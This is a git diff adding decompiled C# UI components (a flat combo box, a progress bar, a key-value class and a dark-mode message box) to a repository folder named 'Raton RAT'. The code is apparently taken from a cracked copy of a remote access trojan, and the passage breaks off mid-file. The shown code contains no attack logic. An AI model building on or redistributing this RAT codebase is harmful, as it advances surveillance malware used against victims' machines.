Type: DarkModeForms.FlatComboBox +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +#nullable disable +namespace DarkModeForms; + +public class FlatComboBox : ComboBox +{ + private Color borderColor = Color.Gray; + private Color buttonColor = Color.LightGray; + private const int WM_PAINT = 15; + + [DefaultValue(typeof (Color), "Gray")] + public Color BorderColor + { + get => this.borderColor; + set + { + if (!(this.borderColor != value)) + return; + this.borderColor = value; + this.Invalidate(); + } + } + + [DefaultValue(typeof (Color), "LightGray")] + public Color ButtonColor + { + get => this.buttonColor; + set + { + if (!(this.buttonColor != value)) + return; + this.buttonColor = value; + this.Invalidate(); + } + } + + protected override void WndProc(ref Message m) + { + if (m.Msg == 15 && this.DropDownStyle != ComboBoxStyle.Simple) + { + Rectangle clientRectangle = this.ClientRectangle; + int scrollBarArrowWidth = SystemInformation.HorizontalScrollBarArrowWidth; + Rectangle rect1 = new Rectangle(clientRectangle.Location, new Size(clientRectangle.Width - 1, clientRectangle.Height - 1)); + Rectangle rect2 = new Rectangle(rect1.X + 1, rect1.Y + 1, rect1.Width - scrollBarArrowWidth - 2, rect1.Height - 2); + Rectangle rect3 = new Rectangle(rect2.X + 1, rect2.Y + 1, rect2.Width - 2, rect2.Height - 2); + Rectangle rect4 = new Rectangle(rect2.Right + 1, rect2.Y - 1, scrollBarArrowWidth, rect2.Height + 2); + if (this.RightToLeft == RightToLeft.Yes) + { + rect2.X = clientRectangle.Width - rect2.Right; + rect3.X = clientRectangle.Width - rect3.Right; + rect4.X = clientRectangle.Width - rect4.Right; + ++rect4.Width; + } + Color color1 = this.Enabled ? this.BackColor : SystemColors.Control; + Color color2 = this.Enabled ? this.BorderColor : SystemColors.ControlDark; + Color color3 = this.Enabled ? this.ButtonColor : SystemColors.Control; + Point point = new Point(rect4.Left + rect4.Width / 2, rect4.Top + rect4.Height / 2); + Point[] pointArray1 = new Point[3] + { + new Point(point.X - 3, point.Y - 2), + new Point(point.X + 4, point.Y - 2), + new Point(point.X, point.Y + 2) + }; + FlatComboBox.PAINTSTRUCT lpPaint = new FlatComboBox.PAINTSTRUCT(); + bool flag = false; + IntPtr num; + if (m.WParam == IntPtr.Zero) + { + num = FlatComboBox.BeginPaint(this.Handle, ref lpPaint); + m.WParam = num; + flag = true; + } + else + num = m.WParam; + IntPtr rectRgn1 = FlatComboBox.CreateRectRgn(rect3.Left, rect3.Top, rect3.Right, rect3.Bottom); + FlatComboBox.SelectClipRgn(num, rectRgn1); + this.DefWndProc(ref m); + FlatComboBox.DeleteObject(rectRgn1); + IntPtr rectRgn2 = FlatComboBox.CreateRectRgn(clientRectangle.Left, clientRectangle.Top, clientRectangle.Right, clientRectangle.Bottom); + FlatComboBox.SelectClipRgn(num, rectRgn2); + using (Graphics graphics = Graphics.FromHdc(num)) + { + graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + graphics.CompositingQuality = CompositingQuality.HighQuality; + graphics.SmoothingMode = SmoothingMode.AntiAlias; + using (SolidBrush solidBrush = new SolidBrush(color3)) + graphics.FillRectangle((Brush) solidBrush, rect4); + Size size = new Size(8, 4); + Point[] pointArray2 = new Point[3] + { + new Point(point.X - size.Width / 2, point.Y - size.Height / 2), + new Point(point.X + size.Width / 2, point.Y - size.Height / 2), + new Point(point.X, point.Y + size.Height / 2) + }; + using (Pen pen = new Pen(this.BorderColor, 2.5f)) + { + graphics.DrawLine(pen, pointArray2[0], pointArray2[2]); + graphics.DrawLine(pen, pointArray2[1], pointArray2[2]); + } + using (Pen pen = new Pen(color1)) + { + graphics.DrawRectangle(pen, rect2); + graphics.DrawRectangle(pen, rect3); + } + using (Pen pen = new Pen(color2)) + graphics.DrawRectangle(pen, rect1); + } + if (flag) + FlatComboBox.EndPaint(this.Handle, ref lpPaint); + FlatComboBox.DeleteObject(rectRgn2); + } + else + base.WndProc(ref m); + } + + [DllImport("user32.dll")] + private static extern IntPtr BeginPaint(IntPtr hWnd, [In, Out] ref FlatComboBox.PAINTSTRUCT lpPaint); + + [DllImport("user32.dll")] + private static extern bool EndPaint(IntPtr hWnd, ref FlatComboBox.PAINTSTRUCT lpPaint); + + [DllImport("gdi32.dll")] + public static extern int SelectClipRgn(IntPtr hDC, IntPtr hRgn); + + [DllImport("user32.dll")] + public static extern int GetUpdateRgn(IntPtr hwnd, IntPtr hrgn, bool fErase); + + [DllImport("gdi32.dll")] + internal static extern bool DeleteObject(IntPtr hObject); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateRectRgn(int x1, int y1, int x2, int y2); + + public struct RECT + { + public int L; + public int T; + public int R; + public int B; + } + + public struct PAINTSTRUCT + { + public IntPtr hdc; + public bool fErase; + public int rcPaint_left; + public int rcPaint_top; + public int rcPaint_right; + public int rcPaint_bottom; + public bool fRestore; + public bool fIncUpdate; + public int reserved1; + public int reserved2; + public int reserved3; + public int reserved4; + public int reserved5; + public int reserved6; + public int reserved7; + public int reserved8; + } + + public enum RegionFlags + { + ERROR, + NULLREGION, + SIMPLEREGION, + COMPLEXREGION, + } +} diff --git a/Raton RAT/DarkModeForms/FlatProgressBar.cs b/Raton RAT/DarkModeForms/FlatProgressBar.cs new file mode 100644 index 0000000..15a6257 --- /dev/null +++ b/Raton RAT/DarkModeForms/FlatProgressBar.cs @@ -0,0 +1,111 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.FlatProgressBar +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Drawing; +using System.Windows.Forms; + +#nullable disable +namespace DarkModeForms; + +public class FlatProgressBar : ProgressBar +{ + private int min; + private int max = 100; + private int val; + private Color BarColor = Color.Green; + + public FlatProgressBar() => this.SetStyle(ControlStyles.UserPaint, true); + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + } + + protected override void OnResize(EventArgs e) => this.Invalidate(); + + protected override void OnPaint(PaintEventArgs e) + { + Graphics graphics = e.Graphics; + SolidBrush solidBrush = new SolidBrush(this.BarColor); + Brush brush = (Brush) new SolidBrush(this.BackColor); + float num = (float) (this.val - this.min) / (float) (this.max - this.min); + Rectangle clientRectangle = this.ClientRectangle; + clientRectangle.Width = (int) ((double) clientRectangle.Width * (double) num); + graphics.FillRectangle(brush, this.ClientRectangle); + graphics.FillRectangle((Brush) solidBrush, clientRectangle); + solidBrush.Dispose(); + graphics.Dispose(); + } + + public new int Minimum + { + get => this.min; + set + { + if (value < 0) + value = 0; + if (value > this.max) + this.max = value; + this.min = value; + if (this.val < this.min) + this.val = this.min; + this.Invalidate(); + } + } + + public new int Maximum + { + get => this.max; + set + { + if (value < this.min) + this.min = value; + this.max = value; + if (this.val > this.max) + this.val = this.max; + this.Invalidate(); + } + } + + public new int Value + { + get => this.val; + set + { + int val = this.val; + this.val = value >= this.min ? (value <= this.max ? value : this.max) : this.min; + Rectangle clientRectangle1 = this.ClientRectangle; + Rectangle clientRectangle2 = this.ClientRectangle; + float num1 = (float) (this.val - this.min) / (float) (this.max - this.min); + clientRectangle1.Width = (int) ((double) clientRectangle1.Width * (double) num1); + float num2 = (float) (val - this.min) / (float) (this.max - this.min); + clientRectangle2.Width = (int) ((double) clientRectangle2.Width * (double) num2); + Rectangle rc = new Rectangle(); + if (clientRectangle1.Width > clientRectangle2.Width) + { + rc.X = clientRectangle2.Size.Width; + rc.Width = clientRectangle1.Width - clientRectangle2.Width; + } + else + { + rc.X = clientRectangle1.Size.Width; + rc.Width = clientRectangle2.Width - clientRectangle1.Width; + } + rc.Height = this.Height; + this.Invalidate(rc); + } + } + + public Color ProgressBarColor + { + get => this.BarColor; + set + { + this.BarColor = value; + this.Invalidate(); + } + } +} diff --git a/Raton RAT/DarkModeForms/KeyValue.cs b/Raton RAT/DarkModeForms/KeyValue.cs new file mode 100644 index 0000000..26dbba3 --- /dev/null +++ b/Raton RAT/DarkModeForms/KeyValue.cs @@ -0,0 +1,98 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.KeyValue +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Collections.Generic; + +#nullable disable +namespace DarkModeForms; + +public class KeyValue +{ + private string _value; + + public KeyValue() + { + } + + public KeyValue(string pKey, string pValue, KeyValue.ValueTypes pType = KeyValue.ValueTypes.String, List pDataSet = null) + { + this.Key = pKey; + this.Value = pValue; + this.ValueType = pType; + this.DataSet = pDataSet; + } + + public string Key { get; set; } + + public string Value + { + get => this._value; + set + { + string newValue = value; + this.OnValidate(ref newValue); + if (!(this._value != newValue)) + return; + this._value = newValue; + } + } + + public KeyValue.ValueTypes ValueType { get; set; } + + public List DataSet { get; set; } + + public string ErrorText { get; set; } = string.Empty; + + public event EventHandler Validate; + + protected virtual void OnValidate(ref string newValue) + { + EventHandler validate = this.Validate; + if (validate == null) + return; + KeyValue.ValidateEventArgs e = new KeyValue.ValidateEventArgs(newValue) + { + OldValue = this._value + }; + validate((object) this, e); + if (e.Cancel) + newValue = this._value; + this.ErrorText = e.ErrorText; + } + + public override string ToString() => $"{this.Key} - {this.Value}"; + + public enum ValueTypes + { + String, + Integer, + Decimal, + Date, + Time, + Boolean, + Dynamic, + Password, + Multiline, + } + + public class ValidateEventArgs : EventArgs + { + public ValidateEventArgs(string newValue) + { + this.NewValue = newValue; + this.Cancel = false; + } + + public string NewValue { get; } + + public string OldValue { get; set; } + + public bool Cancel { get; set; } + + public string ErrorText { get; set; } = string.Empty; + } +} diff --git a/Raton RAT/DarkModeForms/Messenger.cs b/Raton RAT/DarkModeForms/Messenger.cs new file mode 100644 index 0000000..1cbeefa --- /dev/null +++ b/Raton RAT/DarkModeForms/Messenger.cs @@ -0,0 +1,910 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.Messenger +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using Raton.Classes; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Globalization; +using System.Linq; +using System.Windows; +using System.Windows.Forms; + +#nullable disable +namespace DarkModeForms; + +public static class Messenger +{ + private static Action ValidateControlsHandler; + private static MessageBoxDefaultButton _defaultButton; + private static Dictionary timers; + + public static event Action ValidateControls + { + add => Messenger.ValidateControlsHandler += value; + remove => Messenger.ValidateControlsHandler -= value; + } + + private static void ResetEvents() + { + Messenger.ValidateControlsHandler = (Action) null; + } + + public static DialogResult MessageBox(string Message) + { + return Messenger.MessageBox(Message, string.Empty, MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true); + } + + public static DialogResult MessageBox(Exception ex, bool ShowTrace = true) + { + return Messenger.MessageBox(ex.Message + (ShowTrace ? "\r\n" + ex.StackTrace : ""), "Error!", icon: MessageBoxIcon.Hand); + } + + public static DialogResult MessageBox( + string Message, + string title, + MessageBoxButtons buttons = MessageBoxButtons.OK, + MessageBoxIcon icon = MessageBoxIcon.Asterisk, + bool pIsDarkMode = true) + { + MsgIcon Icon = MsgIcon.None; + switch (icon) + { + case MessageBoxIcon.Hand: + Icon = MsgIcon.Error; + break; + case MessageBoxIcon.Question: + Icon = MsgIcon.Question; + break; + case MessageBoxIcon.Exclamation: + Icon = MsgIcon.Warning; + break; + case MessageBoxIcon.Asterisk: + Icon = MsgIcon.Success; + break; + } + return Messenger.MessageBox(Message, title, Icon, buttons, pIsDarkMode); + } + + public static DialogResult MessageBox( + string Message, + string title, + MessageBoxButtons buttons, + MessageBoxIcon icon, + MessageBoxDefaultButton DefaultButton, + bool pIsDarkMode = true) + { + Messenger._defaultButton = DefaultButton; + return Messenger.MessageBox(Message, title, buttons, icon, pIsDarkMode); + } + + public static DialogResult MessageBox( + string Message, + string title, + MessageBoxButtons buttons = MessageBoxButtons.OK, + MsgIcon icon = MsgIcon.None, + bool pIsDarkMode = true) + { + return Messenger.MessageBox(Message, title, icon, buttons, pIsDarkMode); + } + + public static DialogResult MessageBox( + Form pOwner, + string Message, + string title, + MessageBoxButtons buttons, + MsgIcon icon = MsgIcon.None, + bool pIsDarkMode = true) + { + return Messenger.MessageBox(Message, title, icon, buttons, pIsDarkMode, owner: pOwner); + } + + public static DialogResult MessageBox( + string Message, + string title, + MsgIcon Icon, + MessageBoxButtons buttons = MessageBoxButtons.OK, + bool pIsDarkMode = true, + MessageBoxDefaultButton defaultButton = MessageBoxDefaultButton.Button1, + Form owner = null) + { + Form form1 = new Form(); + form1.FormBorderStyle = FormBorderStyle.FixedDialog; + form1.StartPosition = FormStartPosition.CenterParent; + form1.MaximizeBox = false; + form1.MinimizeBox = false; + form1.Text = title; + form1.Width = 340; + form1.Height = 170; + form1.KeyPreview = true; + Form form = form1; + if (owner != null) + form.Owner = owner; + DarkMode.Start(form); + Base64Icons base64Icons = new Base64Icons(); + int height = System.Drawing.SystemFonts.DefaultFont.Height; + Panel panel1 = new Panel(); + panel1.Dock = DockStyle.Bottom; + panel1.Height = 48 /*0x30*/; + panel1.BackColor = Color.Transparent; + panel1.BorderStyle = BorderStyle.None; + Panel panel2 = panel1; + form.Controls.Add((Control) panel2); + Dictionary buttonTranslations = Messenger.GetButtonTranslations(Messenger.GetCurrentLanguage()); + List